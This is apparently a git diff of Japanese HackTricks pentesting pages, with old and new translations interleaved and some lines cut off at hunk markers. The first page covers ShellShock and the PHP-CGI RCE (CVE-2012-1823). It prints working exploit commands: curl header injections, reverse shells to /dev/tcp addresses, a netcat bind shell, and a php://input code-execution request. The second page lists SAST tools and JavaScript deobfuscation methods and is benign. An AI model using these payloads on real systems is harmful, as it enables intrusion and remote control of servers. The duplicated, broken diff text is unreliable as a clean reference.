**ShellShock** は、Unixベースのオペレーティングシステムで広く使用されている **Bash** コマンドラインシェルに影響を与える **脆弱性** です。これは、Bashがアプリケーションによって渡されたコマンドを実行する能力を標的としています。この脆弱性は、**環境変数**の操作にあり、環境変数はプロセスがコンピュータ上で実行される方法に影響を与える動的な名前付き値です。攻撃者は、環境変数に **悪意のあるコード** を添付して、その変数を受信すると実行されるようにすることで、この脆弱性を悪用できます。これにより、攻撃者はシステムを潜在的に危険にさらすことができます。
**ShellShock**は、Unixベースのオペレーティングシステムで広く使用されている**Bash**コマンドラインシェルに影響を与える**脆弱性**です。これは、アプリケーションによって渡されたコマンドを実行するBashの能力をターゲットにしています。この脆弱性は、**環境変数**の操作にあります。環境変数は、コンピュータ上でプロセスがどのように実行されるかに影響を与える動的な名前付き値です。攻撃者は、環境変数に**悪意のあるコード**を添付することでこれを悪用し、変数を受け取ると実行されます。これにより、攻撃者はシステムを侵害する可能性があります。
この脆弱性を悪用すると、**ページがエラーをスロー**する可能性があります。
この脆弱性を悪用すると、**ページがエラーを返す**可能性があります。
この脆弱性を **見つける** には、**古いApacheバージョン**と **cgi_mod**cgiフォルダを使用を使用しているか、**nikto** を使用していることに気付くことができます。
この脆弱性を**見つける**には、**古いApacheバージョン**と**cgi\_mod** \(cgiフォルダーを含む\)を使用していることに気づくか、**nikto**を使用します。
## **テスト**
ほとんどのテストは、何かをエコーして、その文字列がWebレスポンスで返されることを期待しています。ページが脆弱であると思われる場合は、すべてのcgiページを検索してテストしてください。
ほとんどのテストは、何かをエコーし、その文字列がウェブレスポンスに返されることを期待することに基づいています。ページが脆弱である可能性があると思われる場合は、すべてのcgiページを検索してテストしてください。
**Nmap**
```bash
nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi
```
## **Curl(反射、ブラインド、アウト・オブ・バンド)**
## **Curl \(リフレクティッド、ブラインド、アウトオブバンド\)**
```bash
# Reflected
curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE'
@ -47,7 +48,7 @@ curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/10.10.10.10/4242 0>&1' http:
```bash
python shellshocker.py http://10.11.1.71/cgi-bin/admin.cgi
```
## 悪用
## エクスプロイト
```bash
#Bind Shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 8
@ -61,37 +62,38 @@ curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' htt
> set rhosts 10.1.2.11
> run
```
# **プロキシ \(MitM to Web server requests\)**
# **プロキシ \(MitMからWebサーバーリクエストへ\)**
CGIは、httpリクエストの各ヘッダーに対して環境変数を作成します。例えば、"host:web.com" は "HTTP\_HOST"="web.com" として作成されます。
CGIは、httpリクエストの各ヘッダーに対して環境変数を作成します。例えば「host:web.com」は「HTTP\_HOST"="web.com」として作成されます。
WebサーバーがHTTP\_PROXY変数を使用する可能性があるため、"Proxy: &lt;IP\_attacker&gt;:&lt;PORT&gt;" を含む **ヘッダー** を送信してみてください。もしサーバーがセッション中にリクエストを行った場合、サーバーが行った各リクエストをキャプチャすることができます。
HTTP\_PROXY変数はWebサーバーによって使用される可能性があります。**ヘッダー**に「**Proxy: &lt;IP\_attacker&gt;:&lt;PORT&gt;**」を含めて送信してみてください。そして、サーバーがセッション中にリクエストを実行する場合、サーバーが行った各リクエストをキャプチャすることができます。
# 古いPHP + CGI = RCE \(CVE-2012-1823, CVE-2012-2311\)
基本的に、cgiがアクティブであり、phpが "古い" \(&lt;5.3.12 / &lt; 5.4.2\) 場合、コードを実行できます。
この脆弱性を悪用するには、パラメーターを送信せずにWebサーバーのいくつかのPHPファイルにアクセスする必要があります(特に "=" 文字を送信しないでください)
その後、この脆弱性をテストするために、例えば `/index.php?-s` にアクセスすることができ、**アプリケーションのソースコードがレスポンスに表示されます**。
基本的に、cgiがアクティブで、phpが「古い」\(&lt;5.3.12 / &lt; 5.4.2\)場合、コードを実行できます。
この脆弱性を悪用するには、パラメータを送信せずに\(特に「=」文字を送信せずに\)WebサーバーのPHPファイルにアクセスする必要があります。
次に、この脆弱性をテストするために、例えば`/index.php?-s`にアクセスすると\( `-s`に注意\)、**アプリケーションのソースコードがレスポンスに表示されます**。
その後、**RCE** を取得するために、この特別なクエリを送信できます: `/?-d allow_url_include=1 -d auto_prepend_file=php://input` そして、**リクエストの本文に実行されるべき **PHPコード** を送信します
例:
次に、**RCE**を取得するために、この特別なクエリを送信できます:`/?-d allow_url_include=1 -d auto_prepend_file=php://input`と**リクエストのボディ内で実行されるPHPコード**
例:**
```bash
curl -i --data-binary "<?php system(\"cat /flag.txt \") ?>" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"
```
**脆弱性と可能なエクスプロイトに関する詳細:** [**https://www.zero-day.cz/database/337/**](https://www.zero-day.cz/database/337/)**,** [**cve-2012-1823**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)**,** [**cve-2012-2311**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)**,** [**CTF Writeup Example**](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)**.**
**脆弱性と可能なエクスプロイトに関する詳細情報:** [**https://www.zero-day.cz/database/337/**](https://www.zero-day.cz/database/337/)**,** [**cve-2012-1823**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)**,** [**cve-2012-2311**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)**,** [**CTFの解説例**](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)**.**
{% hint style="success" %}
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTEHackTricks AWS Red Team ExpertでAWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong>!</strong></summary>
<summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法:
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合**は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**する。
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有する。
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
{% endhint %}

View file

@ -1,40 +1,41 @@
# ソースコードレビュー / SASTツール
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>**htARTEHackTricks AWS Red Team Expert**で**ゼロからヒーローまでAWSハッキングを学ぶ**</strong></summary>
<summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法
- **HackTricksで企業を宣伝したい**か**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)を**フォロー**する
- **ハッキングトリックを共有するためにPRを提出して** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリに
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
</details>
{% endhint %}
## ガイダンスとツールのリスト
- [**https://owasp.org/www-community/Source\_Code\_Analysis\_Tools**](https://owasp.org/www-community/Source\_Code\_Analysis\_Tools)
- [**https://github.com/analysis-tools-dev/static-analysis**](https://github.com/analysis-tools-dev/static-analysis)
* [**https://owasp.org/www-community/Source\_Code\_Analysis\_Tools**](https://owasp.org/www-community/Source\_Code\_Analysis\_Tools)
* [**https://github.com/analysis-tools-dev/static-analysis**](https://github.com/analysis-tools-dev/static-analysis)
## マルチ言語ツール
## マルチランゲージツール
### [Naxus - AI-Gents](https://www.naxusai.com/)
**PRのレビューに無料のパッケージ**があります
**PRをレビューするための無料パッケージがあります**
### [**Semgrep**](https://github.com/returntocorp/semgrep)
**オープンソースツール**です。
#### サポートされている言語
#### 対応言語
| カテゴリ | 言語 |
| -------- | ---------------------------------------------------------------------------------------------------- |
| GA | C# · Go · Java · JavaScript · JSX · JSON · PHP · Python · Ruby · Scala · Terraform · TypeScript · TSX |
| Beta | Kotlin · Rust |
| カテゴリ | 言語 |
| ------------ | ----------------------------------------------------------------------------------------------------- |
| GA | C# · Go · Java · JavaScript · JSX · JSON · PHP · Python · Ruby · Scala · Terraform · TypeScript · TSX |
| Beta | Kotlin · Rust |
| Experimental | Bash · C · C++ · Clojure · Dart · Dockerfile · Elixir · HTML · Julia · Jsonnet · Lisp · |
#### クイックスタート
@ -50,11 +51,11 @@ semgrep scan --config auto
```
{% endcode %}
VSCode内で結果をるに、[**semgrep VSCode Extension**](https://marketplace.visualstudio.com/items?itemName=Semgrep.semgrep)を使用することもできます。
VSCode内で結果を得るために、[**semgrep VSCode Extension**](https://marketplace.visualstudio.com/items?itemName=Semgrep.semgrep)を使用することもできます。
### [**SonarQube**](https://www.sonarsource.com/products/sonarqube/downloads/)
インストール可能な**無料バージョン**があります。
インストール可能な**無料**があります。
#### クイックスタート
@ -80,7 +81,7 @@ sonar-scanner \
### CodeQL
**インストール可能な無料バージョン**がありますが、ライセンスによると**無料のCodeQLバージョンはオープンソースプロジェクトでのみ使用できます**。
**インストール可能な無料版**がありますが、ライセンスによれば、**オープンソースプロジェクトでのみ無料のCodeQLバージョンを使用できます**。
#### インストール
@ -111,10 +112,10 @@ codeql resolve qlpacks #Get paths to QL packs
#### クイックスタート - データベースの準備
{% hint style="success" %}
最初にやるべきことは、**データベースの準備**(コードツリーの作成)です。後でクエリを実行できるようにします。
最初に行うべきことは、**データベースを準備する**(コードツリーを作成する)ことで、後でクエリがそれに対して実行されます。
{% endhint %}
* コードqlにリポジトリの言語を自動的に識別させ、データベースを作成することができます
* codeqlにリポジトリの言語を自動的に識別させ、データベースを作成させることができます。
{% code overflow="wrap" %}
```bash
@ -127,10 +128,12 @@ codeql database create /path/repo/codeql_db --source-root /path/repo
{% endcode %}
{% hint style="danger" %}
通常、これは複数の言語が指定されたことを示すエラーをトリガーします(または自動的に検出されます)。 これを修正するための次のオプションを確認してください!
これは通常、**複数の言語が指定された**(または自動的に検出された)というエラーをトリガーします。**次のオプションを確認して**これを修正してください!
{% endhint %}
* これを手動で行うことができます。**リポジトリ**と**言語**を指定して([言語のリスト](https://docs.github.com/en/code-security/codeql-cli/getting-started-with-the-codeql-cli/preparing-your-code-for-codeql-analysis#running-codeql-database-create)
* あなたはこれを**手動で指定することができます**、**リポジトリ**と**言語**を([言語のリスト](https://docs.github.com/en/code-security/codeql-cli/getting-started-with-the-codeql-cli/preparing-your-code-for-codeql-analysis#running-codeql-database-create)
{% code overflow="wrap" %}
```bash
codeql database create <database> --language <language> --source-root </path/to/repo>
@ -140,7 +143,7 @@ codeql database create /path/repo/codeql_db --language javascript --source-root
```
{% endcode %}
* もしリポジトリが**1つ以上の言語**を使用している場合は、各言語を示す**1つのDB**を作成することもできます。
* あなたのリポジトリが**1つ以上の言語**を使用している場合、各言語を示す**言語ごとのDBを1つ作成**することもできます。
{% code overflow="wrap" %}
```bash
@ -154,7 +157,7 @@ codeql database create /path/repo/codeql_db --source-root /path/to/repo --db-clu
```
{% endcode %}
* `codeql`にすべての言語を**識別**させ、言語ごとにDBを作成することもできます。**GITHUB\_TOKEN**を提供する必要があります。
* `codeql`**すべての言語を特定** させ、言語ごとにデータベースを作成させることもできます。**GITHUB\_TOKEN** を提供する必要があります。
{% code overflow="wrap" %}
```bash
@ -168,13 +171,13 @@ codeql database create /tmp/codeql_db --db-cluster --source-root /path/repo
```
{% endcode %}
#### クイックスタート - コードの分析
#### クイックスタート - コードを分析する
{% hint style="success" %}
いよいよコードの分析の時間です
ついにコードを分析する時が来ました
{% endhint %}
複数の言語を使用した場合は、指定したパスに**言語ごとのDB**が作成されていることを覚えておいてください。
複数の言語を使用した場合、**言語ごとにDB**が指定したパスに作成されることを忘れないでください。
{% code overflow="wrap" %}
```bash
@ -196,7 +199,7 @@ javascript-security-extended --sarif-category=javascript \
```
{% endcode %}
#### クイックスタート - スクリプト化
#### クイックスタート - スクリプト化された
{% code overflow="wrap" %}
```bash
@ -219,13 +222,13 @@ echo $FINAL_MSG
```
{% endcode %}
見つけた結果を[**https://microsoft.github.io/sarif-web-component/**](https://microsoft.github.io/sarif-web-component/)で視覚化するか、VSCode拡張機能[**SARIF viewer**](https://marketplace.visualstudio.com/items?itemName=MS-SarifVSCode.sarif-viewer)を使用できます。
結果を[**https://microsoft.github.io/sarif-web-component/**](https://microsoft.github.io/sarif-web-component/)で視覚化するか、VSCode拡張機能[**SARIF viewer**](https://marketplace.visualstudio.com/items?itemName=MS-SarifVSCode.sarif-viewer)を使用できます。
また、[**VSCode拡張機能**](https://marketplace.visualstudio.com/items?itemName=GitHub.vscode-codeql)を使用して、VSCode内で結果を取得することもできます。手動でデータベースを作成する必要がありますが、その後は任意のファイルを選択して`右クリック`->`CodeQL: Run Queries in Selected Files`をクリックできます。
また、[**VSCode拡張機能**](https://marketplace.visualstudio.com/items?itemName=GitHub.vscode-codeql)を使用して、VSCode内で結果を取得することもできます。データベースを手動で作成する必要がありますが、その後、任意のファイルを選択し、`右クリック` -> `CodeQL: 選択したファイルでクエリを実行`をクリックできます。
### [**Snyk**](https://snyk.io/product/snyk-code/)
**インストール可能な無料バージョン**があります。
**インストール可能な無料**があります。
#### クイックスタート
```bash
@ -248,17 +251,17 @@ snyk container test [image]
# Test for IaC vulns
snyk iac test
```
You can also use the [**snyk VSCode Extension**](https://marketplace.visualstudio.com/items?itemName=snyk-security.snyk-vulnerability-scanner) to get findings inside VSCode.
You can also use the [**snyk VSCode Extension**](https://marketplace.visualstudio.com/items?itemName=snyk-security.snyk-vulnerability-scanner)を使用して、VSCode内での発見を得ることができます。
### [Insider](https://github.com/insidersec/insider)
It's **Open Source**, but looks **unmaintained**.
これは**オープンソース**ですが、**メンテナンスされていない**ようです。
#### Supported Languages
#### 対応言語
Java (Maven and Android), Kotlin (Android), Swift (iOS), .NET Full Framework, C#, and Javascript (Node.js).
Java (MavenおよびAndroid)、Kotlin (Android)、Swift (iOS)、.NET Full Framework、C#、およびJavascript (Node.js)。
#### Quick Start
#### クイックスタート
```bash
# Check the correct release for your environment
$ wget https://github.com/insidersec/insider/releases/download/2.1.0/insider_2.1.0_linux_x86_64.tar.gz
@ -268,7 +271,7 @@ $ ./insider --tech javascript --target <projectfolder>
```
### [**DeepSource**](https://deepsource.com/pricing)&#x20;
**パブリックリポジトリ**向けに無料
**公開リポジトリ**に対して無料です
## NodeJS
@ -289,14 +292,14 @@ npm install -g pnpm
cd /path/to/repo
pnpm audit
```
* [**nodejsscan**](https://github.com/ajinabraham/nodejsscan)**:** Node.jsアプリケーション向けの静的セキュリティコードスキャナーSASTで、[libsast](https://github.com/ajinabraham/libsast)と[semgrep](https://github.com/returntocorp/semgrep)によってパワードされています。
* [**nodejsscan**](https://github.com/ajinabraham/nodejsscan)**:** Node.jsアプリケーションの静的セキュリティコードスキャナーSASTで、[libsast](https://github.com/ajinabraham/libsast)と[semgrep](https://github.com/returntocorp/semgrep)によって提供されています。
```bash
# Install & run
docker run -it -p 9090:9090 opensecurity/nodejsscan:latest
# Got to localhost:9090
# Upload a zip file with the code
```
* [**RetireJS**](https://github.com/RetireJS/retire.js)**:** Retire.jsの目は、既知の脆弱性を持つJSライブラリのバージョンの使用を検出することです。
* [**RetireJS**](https://github.com/RetireJS/retire.js)**:** Retire.jsの目は、既知の脆弱性を持つJSライブラリのバージョンの使用を検出するのを助けることです。
```bash
# Install
npm install -g retire
@ -306,11 +309,11 @@ retire --colors
```
## Electron
* [**electronegativity**](https://github.com/doyensec/electronegativity)**:** Electronベースのアプリケーションでの設定ミスとセキュリティアンチパターンを特定するためのツールです。
* [**electronegativity**](https://github.com/doyensec/electronegativity)**:** Electronベースのアプリケーションにおける設定ミスやセキュリティのアンチパターンを特定するためのツールです。
## Python
* [**Bandit**](https://github.com/PyCQA/bandit)**:** BanditはPythonコードで一般的なセキュリティの問題を見つけるために設計されたツールです。 Banditは各ファイルを処理し、ASTを構築し、ASTードに適切なプラグインを実行します。 Banditがすべてのファイルのスキャンを終えると、レポートが生成されます。
* [**Bandit**](https://github.com/PyCQA/bandit)**:** BanditはPythonコードの一般的なセキュリティ問題を見つけるために設計されたツールです。これを行うために、Banditは各ファイルを処理し、ASTを構築し、ASTードに対して適切なプラグインを実行します。Banditがすべてのファイルのスキャンを終えると、レポートを生成します。
```bash
# Install
pip3 install bandit
@ -318,14 +321,14 @@ pip3 install bandit
# Run
bandit -r <path to folder>
```
* [**safety**](https://github.com/pyupio/safety): Safetyは、既知のセキュリティ脆弱性を持つPython依存関係をチェックし、検出された脆弱性に適切な修正を提案します。Safetyは、開発者のマシン、CI/CDパイプライン、および本番システムで実行できます。
* [**safety**](https://github.com/pyupio/safety): Safetyは、既知のセキュリティ脆弱性に対してPythonの依存関係をチェックし、検出された脆弱性に対する適切な修正を提案します。Safetyは、開発者のマシン、CI/CDパイプライン、および本番システムで実行できます。
```bash
# Install
pip install safety
# Run
safety check
```
* [~~**Pyt**~~](https://github.com/python-security/pyt): メンテナンス。
* [~~**Pyt**~~](https://github.com/python-security/pyt): メンテナンスされていません
## .NET
```bash
@ -336,8 +339,6 @@ https://github.com/0xd4d/dnSpy
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe test.cs
```
## RUST
## ラスト
```bash
# Install
cargo install cargo-audit
@ -349,14 +350,6 @@ cargo audit
cargo audit fetch
```
## Java
### FindBugs
FindBugsは、Javaプログラムのバグを見つけるための静的解析ツールです。FindBugsは、Javaのバイトコードを解析し、潜在的な問題を特定します。
### PMD
PMDは、Javaコードの品質を向上させるための静的解析ツールです。PMDは、コードスタイルの問題や潜在的なバグを見つけるのに役立ちます。
```bash
# JD-Gui
https://github.com/java-decompiler/jd-gui
@ -369,15 +362,15 @@ jar cmvf META-INF/MANIFEST.MF test.jar test.class
```
| タスク | コマンド |
| --------------- | --------------------------------------------------------- |
| Jarファイルを実行 | java -jar \[jar] |
| Jarファイルを解凍 | unzip -d \[output directory] \[jar] |
| Jarファイルを作成 | jar -cmf META-INF/MANIFEST.MF \[output jar] \* |
| Jarを実行する | java -jar \[jar] |
| Jarを解凍する | unzip -d \[output directory] \[jar] |
| Jarを作成する | jar -cmf META-INF/MANIFEST.MF \[output jar] \* |
| Base64 SHA256 | sha256sum \[file] \| cut -d' ' -f1 \| xxd -r -p \| base64 |
| 署名を削除 | rm META-INF/_.SF META-INF/_.RSA META-INF/\*.DSA |
| Jarファイルから削除 | zip -d \[jar] \[file to remove] |
| クラスを逆コンパイル | procyon -o . \[path to class] |
| Jarファイルを逆コンパイル | procyon -jar \[jar] -o \[output directory] |
| クラスをコンパイル | javac \[path to .java file] |
| 署名を削除する | rm META-INF/_.SF META-INF/_.RSA META-INF/\*.DSA |
| Jarから削除する | zip -d \[jar] \[file to remove] |
| クラスを逆コンパイルする | procyon -o . \[path to class] |
| Jarを逆コンパイルする | procyon -jar \[jar] -o \[output directory] |
| クラスをコンパイルする | javac \[path to .java file] |
## Go
```bash
@ -387,7 +380,7 @@ https://github.com/securego/gosec
[Psalm](https://phpmagazine.net/2018/12/find-errors-in-your-php-applications-with-psalm.html) と [PHPStan](https://phpmagazine.net/2020/09/phpstan-pro-edition-launched.html)。
### Wordpress プラグイン
### Wordpress Plugins
[https://www.pluginvulnerabilities.com/plugin-security-checker/](https://www.pluginvulnerabilities.com/plugin-security-checker/)
@ -400,70 +393,85 @@ https://github.com/securego/gosec
### Discovery
1. Burp:
* Spider とコンテンツの発見
* Sitemap > フィルタ
* Sitemap > ドメインを右クリック > Engagement tools > スクリプトを検索
* スパイダーとコンテンツを発見
* サイトマップ > フィルター
* サイトマップ > ドメインを右クリック > エンゲージメントツール > スクリプトを見つける
2. [WaybackURLs](https://github.com/tomnomnom/waybackurls):
* `waybackurls <domain> |grep -i "\.js" |sort -u`
### 静的解析
### Static Analysis
#### Unminimize/Beautify/Prettify
* [https://prettier.io/playground/](https://prettier.io/playground/)
* [https://beautifier.io/](https://beautifier.io/)
* 'Deobfuscate/Unpack' で言及されているツールも参照してください。
* 下記の「Deobfuscate/Unpack」で言及されているツールも参照してください。
#### Deobfuscate/Unpack
**注意**: 完全に deobfuscate することができない場合があります。
**注意**: 完全にデオブフスケートすることはできない場合があります。
1. .map ファイルを見つけて使用する:
* .map ファイルが公開されている場合、それらを使用して簡単に deobfuscate できます。
* 一般的に、foo.js.map foo.js にマップされます。手動でそれらを探してください。
* それらを見つけるために [JS Miner](https://github.com/PortSwigger/js-miner) を使用します
* アクティブスキャンが実行されていることを確認します
* '[Tips/Notes](https://github.com/minamo7sen/burp-JS-Miner/wiki#tips--notes)' を読んでください。
* 見つかった場合、deobfuscate するために [Maximize](https://www.npmjs.com/package/maximize) を使用します。
2. .map ファイルがない場合、JSnice を試してみてください:
* 参: [http://jsnice.org/](http://jsnice.org/) & [https://www.npmjs.com/package/jsnice](https://www.npmjs.com/package/jsnice)
1. .mapファイルを見つけて使用する:
* .mapファイルが公開されている場合、簡単にデオブフスケートできます。
* 一般的に、foo.js.mapはfoo.jsにマップされます。手動で探してください。
* [JS Miner](https://github.com/PortSwigger/js-miner)を使用して探してください
* アクティブスキャンが実施されていることを確認してください
* '[Tips/Notes](https://github.com/minamo7sen/burp-JS-Miner/wiki#tips--notes)'を読んでください。
* 見つかった場合、[Maximize](https://www.npmjs.com/package/maximize)を使用してデオブフスケートします。
2. .mapファイルがない場合、JSniceを試してください:
* 参: [http://jsnice.org/](http://jsnice.org/) & [https://www.npmjs.com/package/jsnice](https://www.npmjs.com/package/jsnice)
* ヒント:
* jsnice.org を使用する場合、「Nicify JavaScript」ボタンの隣にあるオプションボタンをクリックし、「Infer types」を選択解除して、コードをコメントで混乱させないようにします
* スクリプトの前に空行を残さないようにしてください。これは deobfuscation プロセスに影響を与え、正確な結果を得られなくなる可能性があります。
4. JSNice のより現代的な代替手法については、次のリンクを参照してください:
* jsnice.orgを使用する場合、「Nicify JavaScript」ボタンの隣にあるオプションボタンをクリックし、「Infer types」の選択を外して、コメントでコードが散らかるのを減らしてください
* スクリプトの前に空行を残さないようにしてください。デオブフスケートプロセスに影響を与え、不正確な結果をもたらす可能性があります。
4. JSNiceの現代的な代替手段として、以下を検討してください:
* [https://github.com/pionxzh/wakaru](https://github.com/pionxzh/wakaru)
* > Javascript decompiler, unpacker and unminify toolkit
> Wakaru はモダンなフロントエンド向けの Javascript decompiler です。バンドルされたトランスパイルされたソースから元のコードを取り戻します。
* > Javascriptデコンパイラ、アンパッカーおよびアンミニファイツールキット
> Wakaruは現代のフロントエンド用のJavascriptデコンパイラです。バンドルされ、トランスパイルされたソースから元のコードを復元します。
* [https://github.com/j4k0xb/webcrack](https://github.com/j4k0xb/webcrack)
* > Deobfuscate obfuscator.io, unminify and unpack bundled javascript
* > obfuscator.ioをデオブフスケートし、ミニファイを解除し、バンドルされたjavascriptをアンパックします
* [https://github.com/jehna/humanify](https://github.com/jehna/humanify)
* > Un-minify Javascript code using ChatGPT
> このツールは、大規模な言語モデルChatGPT や llama2 のようなおよび他のツールを使用して、Javascript コードを un-minify します。LLM は構造的な変更を行わないことに注意してください - 変数や関数の名前を変更するヒントのみを提供します。コードは 1-1 に等しく保たれるように、AST レベルで Babel によって重要な作業が行われます。
* > ChatGPTを使用してJavascriptコードをアンミニファイします
> このツールは大規模言語モデルChatGPTやllama2などと他のツールを使用してJavascriptコードをアンミニファイします。LLMは構造的な変更を行わず、変数や関数の名前を変更するためのヒントを提供するだけです。重い作業はASTレベルでBabelによって行われ、コードが1-1で同等であることを保証します。
* [https://thejunkland.com/blog/using-llms-to-reverse-javascript-minification.html](https://thejunkland.com/blog/using-llms-to-reverse-javascript-minification.html)
* > Using LLMs to reverse JavaScript variable name minification
3. `console.log()` を使用します;
* 最後に返される値を見つけて、それを `console.log(<packerReturnVariable>);` に変更して、deobfuscated js が実行されるのではなく、コンソールにログが出力されるようにします。
* 次に、修正された(まだ obfuscated されているjs を [https://jsconsole.com/](https://jsconsole.com/) に貼り付けて、コンソールに deobfuscated js がログ出力されるのを確認します。
* 最後に、deobfuscated 出力を [https://prettier.io/playground/](https://prettier.io/playground/) に貼り付けて、解析のために整形します。
* **注意**: まだ packed されたが異なるjs が表示される場合、再帰的に packed されている可能性があります。プロセスを繰り返してください。
* > JavaScriptの変数名ミニファイを逆転させるためのLLMの使用
3. `console.log()`を使用す;
* 最後の戻り値を見つけて、`console.log(<packerReturnVariable>);`に変更し、デオブフスケートされたjsが実行されるのではなく印刷されるようにします。
* 次に、修正された(まだオブフスケートされたjsを[https://jsconsole.com/](https://jsconsole.com/)に貼り付けて、デオブフスケートされたjsがコンソールにログされるのを確認します。
* 最後に、デオブフスケートされた出力を[https://prettier.io/playground/](https://prettier.io/playground/)に貼り付けて、分析のために美化します。
* **注意**: まだパックされたしかし異なるjsが表示される場合、それは再帰的にパックされている可能性があります。プロセスを繰り返してください。
#### 参考文献
#### References
* [YouTube: DAST - Javascript Dynamic Analysis](https://www.youtube.com/watch?v=_v8r_t4v6hQ)
* [https://blog.nvisium.com/angular-for-pentesters-part-1](https://web.archive.org/web/20221226054137/https://blog.nvisium.com/angular-for-pentesters-part-1)
* [https://blog.nvisium.com/angular-for-pentesters-part-2](https://web.archive.org/web/20230204012439/https://blog.nvisium.com/angular-for-pentesters-part-2)
* [devalias](https://twitter.com/_devalias) [GitHub Gists](https://gist.github.com/0xdevalias):
* [Deobfuscating / Unminifying Obfuscated Web App Code](https://gist.github.com/0xdevalias/d8b743efb82c0e9406fc69da0d6c6581#deobfuscating--unminifying-obfuscated-web-app-code)
* [Reverse Engineering Webpack Apps](https://gist.github.com/0xdevalias/8c621c5d09d780b1d321bfdb86d67cdd#reverse-engineering-webpack-apps)
* [devalias](https://twitter.com/_devalias)の[GitHub Gists](https://gist.github.com/0xdevalias):
* [デオブフスケート / アンミニファイされたオブフスケートされたWebアプリコード](https://gist.github.com/0xdevalias/d8b743efb82c0e9406fc69da0d6c6581#deobfuscating--unminifying-obfuscated-web-app-code)
* [Webpackアプリのリバースエンジニアリング](https://gist.github.com/0xdevalias/8c621c5d09d780b1d321bfdb86d67cdd#reverse-engineering-webpack-apps)
* [etc](https://gist.github.com/search?q=user:0xdevalias+javascript)
#### ツール
#### Tools
* [https://portswigger.net/burp/documentation/desktop/tools/dom-invader](https://portswigger.net/burp/documentation/desktop/tools/dom-invader)
#### あまり使用されていない参考文献
#### Less Used References
* [https://cyberchef.org/](https://cyberchef.org/)
* [https://olajs.com/javascript-prettifier](https://olajs.com/javascript-prettifier)
* [https://jshint.com/](https://jshint.com/)
* [https://github.com/jshint/jshint/](https://github.com/jshint/jshint/)
{% hint style="success" %}
